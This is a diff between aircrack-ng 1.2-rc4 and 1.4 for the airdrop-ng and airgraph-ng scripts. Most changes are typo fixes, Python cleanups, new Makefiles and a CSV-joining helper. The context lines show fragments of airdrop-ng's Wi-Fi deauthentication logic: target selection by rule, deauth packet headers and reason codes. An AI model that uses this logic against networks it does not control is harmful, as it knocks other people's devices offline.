+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+SUBDIRS = doc
+
+all-local:
+	( cd $(srcdir) && $(PYTHON) setup.py build \
+		--build-base $(shell $(READLINK) -f $(builddir))/build \
+		--verbose )
+
+install-exec-local:
+	( cd $(srcdir) && $(MKDIR_P) $(DESTDIR)$(pkgpythondir) && \
+		$(PYTHON) $(srcdir)/setup.py install \
+			--prefix $(DESTDIR)$(prefix) \
+			--record $(DESTDIR)$(pkgpythondir)/airdrop-ng-install_files.txt \
+			--verbose )
+
+uninstall-local:
+	cat $(DESTDIR)$(pkgpythondir)/airdrop-ng-install_files.txt | xargs rm -rf
+	rm -rf $(DESTDIR)$(pkgpythondir)/airdrop-ng-install_files.txt
+	rmdir $(DESTDIR)$(pkgpythondir) || :
+
+clean-local:
+	rm -fr $(shell $(READLINK) -f $(builddir))/build
+
+EXTRA_DIST = airdrop \
+			 airdrop-ng \
+			 README \
+			 setup.py \
+			 old-installers
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/README -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/README Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/airdrop-ng -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/airdrop-ng Changed

@@ -169,10 +169,10 @@
                     #build a list of clients
                     clientList.append(cmac)
                 elif ouiLookup.compKeyChk(postion) == True: #company oui lookup
-                    #check to see if its an company name we can lookup
+                    #check to see if it's a company name we can lookup
                     clientOuiList.extend(ouiLookup.lookup_company(postion))
                 elif ouiLookup.ouiKeyChk(postion) == True: #oui match
-                    #check to see if its an oui we can lookup
+                    #check to see if it's an oui we can lookup
                     clientOuiList = [postion] 
                 else:
                     message.printMessage([
@@ -210,7 +210,7 @@
                         )
                     bssidOuiList = [] #empty var
             elif ouiLookup.ouiKeyChk(bssidMac) == True: #oui match
-                #check to see if its an oui we can lookup
+                #check to see if it's an oui we can lookup
                     bssidOuiList = [bssidMac]
                     bssidList = self.translateOUI(bssidOuiList,'b')
                     bssidOuiList = [] #empty var
@@ -229,7 +229,7 @@
             return False 
         state = ruleRaw[0].lower()
         if len(bssidList) <= 1: 
-            #if we only have one bssid we dont want to nest the dict in a list
+            #if we only have one bssid we don't want to nest the dict in a list
                 for bssid in bssidList:
                     
                     if clientList == [] and postion.upper() != 'ANY':
@@ -252,7 +252,7 @@
                             "clients":clientList,
                             "raw":ruleRaw}
         elif len(bssidList) > 1:
-                #if more then one bssid nest each rule dict in a list
+                #if more than one bssid nest each rule dict in a list
                 ruleDict = []
                 for bssid in bssidList:
                     if clientList == [] and postion.upper() != 'ANY':
@@ -338,7 +338,7 @@
     """
     In the process of being depreciated
     Do Rule matching
-    #NOTE in the future leave capr static and dont delete from it
+    #NOTE in the future leave capr static and don't delete from it
     """
     
     def __init__(self,rulesDB,capr,ClientApDB,debug):
@@ -346,7 +346,7 @@
         create vars for rule matching
         """
         self.violators  = {}            #dict with bssid as a key and list 
-                                        #of clients as nested list these cleints are our targets
+                                        #of clients as nested list these clients are our targets
         self.rulesDB    = rulesDB       #rules database
         self.capr       = capr          #client to ap relationship
         self.ClientApDB = ClientApDB    #Access point dict contain all info about each Ap
@@ -362,7 +362,7 @@
         
     def locate_key(self):
         """
-        take a client and locate its coresponding bssid
+        take a client and locate its corresponding bssid
         iterate though capr and find unknown bssid a client is 
         associated with
         """
@@ -372,8 +372,7 @@
                 #break at first match
                 break
             else:
-                #return none in client cant
-                #be found in capr
+                #return none if client can't be found in capr
                 client_bssid = None
         return client_bssid
     
@@ -393,7 +392,7 @@
         """
         for num in sorted(self.rulesDB.keys()):
             #make sure the rules are called in order
-            #it stops iterating at one less then we need so add +1
+            #it stops iterating at one less than we need so add +1
             if type(self.rulesDB[num]).__name__ == "list":
                 for rule in self.rulesDB[num]:
                     self.bssid    = rule["bssid"]
@@ -421,7 +420,7 @@
         if self.bssid != "ANY":
             if self.ClientApDB[1].has_key(self.bssid):
                 self.channel = self.ClientApDB[1][self.bssid]["channel"]
-                #if this var doesnt get set it casues an error
+                #if this var doesn't get set it causes an error
             else:
                 message.printMessage([
                     "\nInvaid bssid "+self.bssid+" not found in sniffed data",
@@ -503,7 +502,7 @@
                             #set channel
                             self.channel = self.ClientApDB[1][self.bssid]["channel"]
                         try:
-                            #locate the clients postion in capr
+                            #locate the clients position in capr
                             position = self.capr[self.bssid].index(self.Client)
                             del self.capr[self.bssid][position] #remove it from capr
                         except ValueError:
@@ -536,7 +535,7 @@
                     #any any match rule
                     message.printMessage(["\nReached global deauth at rule "+self.rule,
                         "Rule Number "+self.num,
-                        "All clients that dont have a rule will be kicked at this point"])
+                        "All clients that don't have a rule will be kicked at this point"])
                     for key in self.capr: #looping though to allow channel lookup
                         self.bssid = key
                         self.channel = self.ClientApDB[1][self.bssid]["channel"]
@@ -557,8 +556,8 @@
                             message.printMessage(["Rule Number "+self.num,
                             self.rule,self.fullRule,
                             "Deny "+str(self.capr[self.bssid])+" client to "+self.bssid+" bssid\n"])
-                    #may change to a break since its an any any
-                    #continue #move on to the next rule in the list later ill prob break the iteration? 
+                    #may change to a break since it's an any any
+                    #continue #move on to the next rule in the list, later I'll probably break the iteration? 
                 
                 elif self.bssid == "ANY" and self.clients != 'ANY':
                     #deny any AP and select clients
@@ -618,8 +617,8 @@
                         #do the following checks for each client
                         self.Client = client
                         if self.Client not in self.capr[self.bssid]:
-                            #if current client doesnt belong to current ap
-                            #dont generate a packet for it
+                            #if current client doesn't belong to current ap
+                            #don't generate a packet for it
                             if self.debug == True:
                                 message.printMessage(["Rule Number "+self.num,
                                     self.rule,self.fullRule,
@@ -656,7 +655,7 @@
     """
     def __init__(self,allow_bcast,destination_addr,source_addr,bss_id_addr,channel):
         """
-        intialize packet hex values
+        initialize packet hex values
         """
         self.packetTypes = {
                 "deauth":'\xc0\x00', #deauthentication packet header
@@ -671,7 +670,7 @@
         self.packetReason = [
                 '\x0a\x00', #Requested capability set is too broad 
                 '\x01\x00', #unspecified 
-                '\x05\x00', #disassociated due to insufficent resources at the ap
+                '\x05\x00', #disassociated due to insufficient resources at the ap
                 '\x04\x00', #Inactivity timer expired
                 '\x08\x00', #Station has left BSS or EBSS
                 '\x02\x00'  #Prior auth is not valid
@@ -923,7 +922,7 @@
 
 def commandUsage():
     print "\nSample command line arguments:"
-    print "\npython airdrop-ng -i mon0 -t airodump.csv -r rulefile.txt\n"   
+    print "\npython airdrop-ng -i wlan0mon -t airodump.csv -r rulefile.txt\n"
 
 def OUIupdate():
     """
@@ -952,7 +951,7 @@
     parser.add_option("-l", "--logging",dest="log",action="store_true",default=False,help="Enable Logging to a file, if file path not provided airdrop will log to default location")
     parser.add_option("-n", "--nap",dest="nap",default=0,nargs=1,help="Time to sleep between loops")
 
-    if len(sys.argv) <= 1: #check and show help if no arugments are provided at runtime
+    if len(sys.argv) <= 1: #check and show help if no arguments are provided at runtime
                 parser.print_help()
                 commandUsage()
                 sys.exit(0)
@@ -960,13 +959,13 @@
     #set the program loop value
     
     #************
-    #HUDGE CHANGE
+    #HUGE CHANGE
     #************
     
-    #basicly all of this code needs to be moved to startAirdrop()
+    #basically all of this code needs to be moved to startAirdrop()
     
     #************
-    #HUDGE CHANGE
+    #HUGE CHANGE
     #************

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/airdrop/__init__.py -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/airdrop/__init__.py Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/airdrop/libDumpParse.py -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/airdrop/libDumpParse.py Changed

@@ -3,6 +3,7 @@
 #returns in an array of client and Ap information
 #part of the airdrop-ng project
 from sys import exit as Exit
+
 class airDumpParse:
 	def parser(self,file):
 		"""
@@ -28,9 +29,7 @@
 			print "Error Airodump File",file,"does not exist"
 			Exit(1)
 		data = openedFile.xreadlines()
-		cleanedData = []
-		for line in data:
-			cleanedData.append(line.rstrip())
+		cleanedData = [line.rstrip() for line in data]
 		openedFile.close()
 		return cleanedData
 	
@@ -69,7 +68,7 @@
 		for entry in devices:
 			ap = {}
 			string_list = entry.split(',')
-			#sorry for the clusterfuck but i swear it all makse sense this is builiding a dic from our list so we dont have to do postion calls later
+			#sorry for the clusterfuck but I swear it all makes sense, this is building a dic from our list so we don't have to do position calls later
 			len(string_list)
 			if len(string_list) == 15:
 				ap = {"bssid":string_list[0].replace(' ',''),
@@ -129,20 +128,20 @@
 		"""
 		clients = data[0]
 		AP = data[1]
-		NA = [] #create a var to keep the not associdated clients
-		NAP = [] #create a var to keep track of associated clients to AP's we cant see
+		NA = [] #create a var to keep the not associated clients
+		NAP = [] #create a var to keep track of associated clients to AP's we can't see
 		apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids
 		apClient = {} #dict that stores bssid and clients as a nested list
 		for key in (clients):
 			mac = clients[key] #mac is the MAC address of the client
-			if mac["bssid"] != ' (notassociated) ': #one line of of our dictionary of clients
-				if AP.has_key(mac["bssid"]): # if it is check to see its an AP we can see and have info on
+			if mac["bssid"] != ' (notassociated) ': #one line of our dictionary of clients
+				if AP.has_key(mac["bssid"]): # if it is check to see it's an AP we can see and have info on
 					if apClient.has_key(mac["bssid"]): 
 						apClient[mac["bssid"]].extend([key]) #if key exists append new client
 					else: 
 						apClient[mac["bssid"]] = [key] #create new key and append the client
-				else: NAP.append(key) # stores the clients that are talking to an access point we cant see
-			else: NA.append(key) #stores the lines of the not assocated AP's in a list
+				else: NAP.append(key) # stores the clients that are talking to an access point we can't see
+			else: NA.append(key) #stores the lines of the not associated AP's in a list
 		return apClient

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/airdrop/libOuiParse.py -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/airdrop/libOuiParse.py Changed

@@ -22,14 +22,10 @@
 #########################################
 """
 
-from airdrop import install_dir
-
 import re
-import urllib2
-import urllib
-import sys
 import os
 
+from airdrop import install_dir
 
 class macOUI_lookup:
     """
@@ -52,16 +48,16 @@
             "/usr/share/wireshark/wireshark/manuf/oui.txt",
             "/usr/share/wireshark/manuf/oui.txt"]
         # append any oui paths provided by program using lib to list
-        if oui != None:
+        if oui is not None:
             self.OUI_PATH.append(oui)
         for PATH in self.OUI_PATH:
             if os.path.isfile(PATH):
                 aircrackOUI=PATH
-        if aircrackOUI == None:
+        if aircrackOUI is None:
             # default
             aircrackOUI=self.OUI_PATH[1]
         #a poor fix where if we have no file it trys to download it
-        self.ouiTxtUrl   = "http://standards.ieee.org/regauth/oui/oui.txt"
+        self.ouiTxtUrl   = "http://standards-oui.ieee.org/oui.txt"
         self.ouiUnPath   = install_dir#path to oui.txt if module is installed
         self.ouiInPath   = install_dir + '/support/'         #path to oui.txt if module is not installed
         self.ouiTxt = aircrackOUI
@@ -107,7 +103,7 @@
         look up a company name and return their OUI's
         """
         oui = []
-        if type(companyLst).__name__ == "list":
+        if type(companyLst) is list:
             for name in companyLst:
                 compMatch = re.compile(name,re.I)
                 if self.company_oui.has_key(name):
@@ -117,7 +113,7 @@
                         if compMatch.search(key) is not None:
                             oui.extend(self.company_oui[key])
 
-        elif type(companyLst).__name__ == "str":
+        elif type(companyLst) is str:
             if self.company_oui.has_key(companyLst):
                 oui = self.company_oui[companyLst]
             else:
@@ -132,8 +128,8 @@
         """
         open the file and read it in
         """
-        ouiFile = open(self.ouiTxt, "r")
-        text = ouiFile.readlines()
+        with open(self.ouiTxt, "r") as fid:
+            text = fid.readlines()
         #text = ouiFile.read()
         return text
     
@@ -146,7 +142,7 @@
         #matches the following example "00-00-00   (hex)\t\tXEROX CORPORATION" 
         ouiLines = self.ouiRaw
         for line in ouiLines:
-            if Hex.search(line) != None: 
+            if Hex.search(line) is not None: 
                 #return the matched text and build a list out of it
                 lineList = Hex.search(line).group().replace("\t"," ").split("  ") 
                 #build a dict in the format of mac:company name

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/doc/Makefile.am Added

@@ -0,0 +1,48 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+dist_man1_MANS = airdrop-ng.1
+
+docdir = $(datadir)/doc/@PACKAGE@
+doc_DATA = Apple.sample.txt dropRules.conf.example
+
+EXTRA_DIST = $(doc_DATA)
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/doc/airdrop-ng.1 -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/doc/airdrop-ng.1 Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/doc/dropRules.conf.example -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/doc/dropRules.conf.example Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/old-installers/install.py -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/old-installers/install.py Changed

@@ -4,9 +4,10 @@
 
 '''
 This is the installer file for airdrop-ng. It first checks for 
-different dependancies, such as make, svn, etc. 
+different dependencies, such as make, svn, etc. 
 '''
-import os, sys
+import os
+import sys
 from shutil import rmtree
 
 if os.geteuid() != 0:
@@ -17,7 +18,7 @@
 	def __init__ (self):
 		clear = "\n" *100
 		print clear
-		print "Checking for dependancies used by the installer..."
+		print "Checking for dependencies used by the installer..."
 		self.a = 0
 		self.deps = ["make", "svn", "tar", "gcc"]
 
@@ -29,10 +30,10 @@
 				print depends + " not installed."
 
 		if self.a == 0:
-			print "All dependancies installed! Continuing...\n"
+			print "All dependencies installed! Continuing...\n"
 			print "#### NOTE: For Ubuntu based distro's, \npython2.6-dev must be installed. Please \nmake sure it is installed before continuing!\n"
 		else:
-			print "Please install dependancies. Exiting...\n\n"
+			print "Please install dependencies. Exiting...\n\n"
 			exit()
 
 class installAirdrop:

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/old-installers/uninstall.py -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/old-installers/uninstall.py Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/setup.py -> aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/setup.py Changed

aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/Makefile.am Added

@@ -0,0 +1,71 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+SUBDIRS = man
+
+all-local:
+	( cd $(srcdir) && $(PYTHON) setup.py build \
+		--build-base $(shell $(READLINK) -f $(builddir))/build \
+		--verbose )
+
+install-exec-local:
+	( cd $(srcdir) && $(MKDIR_P) $(DESTDIR)$(pkgpythondir) && \
+		$(PYTHON) $(srcdir)/setup.py install \
+			--prefix $(DESTDIR)$(prefix) \
+			--record $(DESTDIR)$(pkgpythondir)/airgraph-ng-install_files.txt \
+			--verbose )
+
+uninstall-local:
+	cat $(DESTDIR)$(pkgpythondir)/airgraph-ng-install_files.txt | xargs rm -rf
+	rm -rf $(DESTDIR)$(pkgpythondir)/airgraph-ng-install_files.txt
+	rmdir $(DESTDIR)$(pkgpythondir) || :
+
+clean-local:
+	rm -fr $(shell $(READLINK) -f $(builddir))/build
+
+EXTRA_DIST = airgraph-ng \
+			 airodump-join \
+			 lib \
+			 setup.py \
+			 graphviz \
+			 README \
+			 test
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/README -> aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/README Changed

@@ -5,10 +5,10 @@
 airodump with the -w option
 
 The idea is that we are showing the relationships of the clients to the AP's
-so dont be shocked if you see only one mapping as you may only have captured
+so don't be shocked if you see only one mapping as you may only have captured
 one client.
 
-Instalation 
+Installation
 -------------
 
 Airgraph-ng depends are as follows:
@@ -17,10 +17,6 @@
 * airodump-ng
 * python > 2.7
 
-!!! Please note due to a lack of PNG support in Graphviz under BackTrack 3 
-Airgraph-ng is not currently supported here. I am aware of the issue i just
-havent had time to fix it!!!!!!
-
 The program usage is as follows
 
     airgraph-ng -i [your txt file] -o [the output file in png format] -g [CAPR|CPG]
@@ -36,16 +32,16 @@
     the same ESSID's
 	;-) Fake AP any one?
 
-Once you have airgraph-ng set up and installed i have included some test data 
+Once you have airgraph-ng set up and installed I have included some test data
 to allow you to quickly see if airgraph-ng is working. This data can be found
-in the test directory inside the libs directory	
+in the test directory inside the libs directory
 
 Airgraph-ng sets graphviz to use the latin character set if this is a problem
-for you please let me know. I did this to clear up a bug i had with the CPG
+for you please let me know. I did this to clear up a bug I had with the CPG
 graphs
 
-dumpjoin is a short support script that will allow you to join two airodump 
-CSV files into one. Run the program with no arugments to see the usage
+dumpjoin is a short support script that will allow you to join two airodump
+CSV files into one. Run the program with no arguments to see the usage.
 
 This is still a work in progress if you have questions contact TheX1le
 at thex1le <AT> gmail.com

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/airgraph-ng -> aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/airgraph-ng Changed

@@ -47,7 +47,7 @@
         self.dotFile = ['digraph G{\n\tsize ="144,144";\n\toverlap=false;\n']
         self.ouiCheck = libOuiParse.macOUI_lookup(path + 'oui.txt')
         if self.ouiCheck is False:
-            print("Missing the oui.txt file from http://standards.ieee.org/develop/regauth/oui/oui.txt, place it in the support directory")
+            print("Missing the oui.txt file from http://standards-oui.ieee.org/oui.txt, place it in the support directory")
             sys.exit(-1)
         self.ouiCheck.identDeviceDict(path + 'ouiDevice.txt')
 
@@ -62,7 +62,7 @@
             time = [self.Ap[bssid]['lts'],self.Ap[bssid]['fts']]
             priv = self.Ap[bssid]['privacy']
             if priv == '':
-                priv = "Unkown"
+                priv = "Unknown"
             Color = self.encColor(priv)
             tclient += len(self.capr[bssid])
             for client in self.capr[bssid]:
@@ -89,8 +89,9 @@
                 clientCount[key] = key
                 probeCount += lpc
                 for probe in sdata['probe']:
-                    self.dotFile.append(self.clientColor(probe,'blue'))
-                    self.dotFile.append(self.linker(key,'->',probe))
+                    cleaned_probe = probe.replace('"', '\\"')
+                    self.dotFile.append(self.clientColor(cleaned_probe,'blue'))
+                    self.dotFile.append(self.linker(key,'->', cleaned_probe))
                     clientColor = '%s\\nRequested %s probes' %(key,lpc)
                     self.dotFile.append(self.clientColor(key,'black',[lts,fts],None,True))
         footer = 'label="Generated by Airgraph-ng\\n%s Probes and \\n%s Clients are shown";\n}' % (probeCount,len(clientCount.keys()))
@@ -183,7 +184,7 @@
         lts = time[0]
         fts = time[1]
         AP = self.Ap[bssid]
-        return'\t"%s" [label="%s\\nEssid: %s\\nChannel: %s\\nEncryption: %s\\nOUI: %s\\nFirst Time Seen: %s\\n Last Time Seen: %s\\nNumber of Clients: %s" style=filled fillcolor="%s" fontcolor="%s" fontsize=9];\n' %(bssid,bssid,AP['essid'].rstrip('\x00'),AP['channel'],AP['privacy'],self.APouiLookup(bssid),fts,lts,cnum,color[0],color[1])
+        return'\t"%s" [label="%s\\nEssid: %s\\nChannel: %s\\nEncryption: %s\\nOUI: %s\\nFirst Time Seen: %s\\n Last Time Seen: %s\\nNumber of Clients: %s" style=filled fillcolor="%s" fontcolor="%s" fontsize=9];\n' %(bssid,bssid,AP['essid'].rstrip('\x00').replace('"', '\\"'),AP['channel'],AP['privacy'],self.APouiLookup(bssid),fts,lts,cnum,color[0],color[1])
 
     def graphCreate(self,fname,outname):
         """

aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/airodump-join Added

@@ -0,0 +1,95 @@
+#!/usr/bin/python
+# this script is a total hack it works and I'll clean it up later
+import sys,getopt, optparse, pdb, re
+def raw_lines(file):
+        try:
+		raw_lines = open(file, "r")
+	except Exception:
+		print "Failed to open ",file,". Do you have the file name correct?"
+		sys.exit(1)
+        Rlines = raw_lines.readlines() 
+       	return Rlines
+
+def parse_file(file,file_name):
+	cleanup = []
+	for line in file:
+               # match=re.search("\n", line) # the next few lines are notes and can be ignored
+               # if match:
+               #   line=line.replace("\n","")
+		#for x in line:
+		#	clean = filter(lambda y: y != '\n', x)
+		clean = line.rstrip()
+		cleanup.append(clean)
+	try:
+		header = cleanup.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key')
+		stationStart = cleanup.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs')
+        	del cleanup[header]
+	except Exception:
+		print "You seem to have provided an improper input file"" '",file_name,"' ""Please make sure you are loading an airodump csv file and not a Pcap"
+        	sys.exit(1)
+	Clients = cleanup[stationStart:] #splits off the clients into their own list
+	stationStart = stationStart - 1 #ulgy hack to make sure the heading gets deleted from end of the APs List
+	del cleanup[stationStart:]#removed all of the client info leaving only the info on available target AP's in ardump maybe I should create a new list for APs?
+	lines = [cleanup,Clients]
+	return lines
+def join_write(data,name):
+ 	file = open(name,'a')
+	for line in data[0]:
+                line=line.rstrip()
+                if len(line)>1:
+           		file.write(line+'\n')
+	for line in data [1]:
+                if len(line)>1:
+         		file.write(line+'\n')
+	file.close()
+def showBanner():
+	print "Airodump Joiner\nJoin Two Airodump CSV Files\n\n\t-i\tInput Files [ foo_name_1 foo_name_2 foo_name_3 .....] \n\t-o\tOutput File\n"
+
+def file_pool(files):
+	AP = []
+	Clients = []
+	for file in files:
+		ret = raw_lines(file)
+		ret = parse_file(ret,file)
+		AP.extend(ret[1])
+		Clients.extend(ret[0])
+	lines = [AP,Clients]
+	output = sort_file(lines)
+	return output
+
+def sort_file(input):
+	AP = ['BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key']
+	Clients = ['\nStation MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs']
+	Clients.extend(input[0])
+	AP.extend(input[1])
+	output = [AP,Clients]
+	return output
+
+	
+
+if  __name__ == "__main__":
+        if len(sys.argv) <= 1:
+                showBanner()
+                sys.exit(1)
+
+	parser = optparse.OptionParser("usage: %prog [options] arg1 arg2 arg3 .....")
+	parser.add_option("-o", "--output",  dest="output",nargs=1, help="output file to write to")
+	parser.add_option("-i", "--file", dest="filename", nargs=2 ,help="Input files to read data from requires at least two arguments")
+	
+	(options, args) = parser.parse_args()
+	filenames = options.filename
+	outfile = options.output
+	if outfile == None:
+		print "You must provide a file name to write out to. IE... -o foo.csv\n"
+		showBanner()
+		sys.exit(1)
+	elif filenames == None:
+		print "You must provide at least two file names to join. IE... -i foo1.csv foo2.csv\n"
+		showBanner()
+		sys.exit(1)
+	for file_name in args:
+		filenames += (file_name,)	
+	return_var = file_pool(filenames)
+	return_var = join_write(return_var,outfile)
+
+

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/graphviz/libDumpParse.py -> aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/graphviz/libDumpParse.py Changed

@@ -3,6 +3,7 @@
 #returns in an array of client and Ap information
 #part of the airdrop-ng project
 from sys import exit as Exit
+
 class airDumpParse:
     def parser(self,file):
         """
@@ -30,9 +31,7 @@
             print "Error Airodump File",file,"does not exist"
             Exit(1)
         data = openedFile.xreadlines()
-        cleanedData = []
-        for line in data:
-            cleanedData.append(line.rstrip())
+        cleanedData = [line.rstrip() for line in data]
         openedFile.close()
         return cleanedData
     
@@ -70,7 +69,7 @@
         for entry in devices:
             ap = {}
             string_list = entry.split(',')
-            #sorry for the clusterfuck but i swear it all makse sense this is builiding a dic from our list so we dont have to do postion calls later
+            #sorry for the clusterfuck but I swear it all makes sense, this is building a dic from our list so we don't have to do position calls later
             len(string_list)
             if len(string_list) == 15:
                 ap = {"bssid":string_list[0].replace(' ',''),
@@ -131,20 +130,20 @@
         """
         clients = self.clientDict
         AP = self.apDict
-        NA = [] #create a var to keep the not associdated clients mac's
-        NAP = [] #create a var to keep track of associated clients mac's to AP's we cant see
+        NA = [] #create a var to keep the not associated clients mac's
+        NAP = [] #create a var to keep track of associated clients mac's to AP's we can't see
         apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids
         apClient = {} #dict that stores bssid and clients as a nested list
         for key in (clients):
             mac = clients[key] #mac is the MAC address of the client
-            if mac["bssid"] != ' (notassociated) ': #one line of of our dictionary of clients
-                if AP.has_key(mac["bssid"]): # if it is check to see its an AP we can see and have info on
+            if mac["bssid"] != ' (notassociated) ': #one line of our dictionary of clients
+                if AP.has_key(mac["bssid"]): # if it is check to see it's an AP we can see and have info on
                     if apClient.has_key(mac["bssid"]): 
                         apClient[mac["bssid"]].extend([key]) #if key exists append new client
                     else: 
                         apClient[mac["bssid"]] = [key] #create new key and append the client
-                else: NAP.append(key) # stores the clients that are talking to an access point we cant see
-            else: NA.append(key) #stores the lines of the not assocated AP's in a list
+                else: NAP.append(key) # stores the clients that are talking to an access point we can't see
+            else: NA.append(key) #stores the lines of the not associated AP's in a list
         self.NAP = NAP
         self.NA  = NA
         self.capr = apClient

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/graphviz/libOuiParse.py -> aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/graphviz/libOuiParse.py Changed

@@ -22,7 +22,10 @@
 #########################################
 """
 
-import re, urllib, sys, os
+import re
+import urllib
+import sys
+import os
 import pdb
 #this lib is crap and needs to be rewritten -Textile 
 
@@ -44,7 +47,7 @@
         generate the two dictionaries and return them
         """
         #a poor fix where if we have no file it trys to download it
-        self.ouiTxtUrl   = "http://standards.ieee.org/regauth/oui/oui.txt"
+        self.ouiTxtUrl   = "http://standards-oui.ieee.org/oui.txt"
 
         self.ouiTxt = oui
         if not oui or not os.path.isfile(self.ouiTxt):
@@ -93,7 +96,7 @@
         look up a company name and return their OUI's
         """
         oui = []
-        if type(companyLst).__name__ == "list":
+        if type(companyLst) is list:
             for name in companyLst:
                 compMatch = re.compile(name,re.I)
                 if self.company_oui.has_key(name):
@@ -103,7 +106,7 @@
                         if compMatch.search(key) is not None:
                             oui.extend(self.company_oui[key])
 
-        elif type(companyLst).__name__ == "str":
+        elif type(companyLst) is str:
             if self.company_oui.has_key(companyLst):
                 oui = self.company_oui[companyLst]
             else:
@@ -120,11 +123,11 @@
         flag denotes use of read or readlines
         """
         try:
-            ouiFile = open(fname, "r")
-            if flag == 'RL':
-                text = ouiFile.readlines()
-            elif flag == 'R':
-                text = ouiFile.read()
+            with open(fname, "r") as fid:
+                if flag == 'RL':
+                    text = fid.readlines()
+                elif flag == 'R':
+                    text = fid.read()
             return text
         except IOError:
             return False
@@ -137,13 +140,13 @@
         HexOui= {}
         Hex = re.compile('.*(hex).*')
         #matches the following example "00-00-00   (hex)\t\tXEROX CORPORATION" 
-        ouiLines = self.ouiRaw.split("\n\n") 
+        ouiLines = self.ouiRaw.split("\n") 
         #split each company into a list one company per position
         for line in ouiLines:
-            if Hex.search(line) != None: 
+            if Hex.search(line) is not None: 
                 lineList = Hex.search(line).group().replace("\t"," ").split("  ") 
                 #return the matched text and build a list out of it
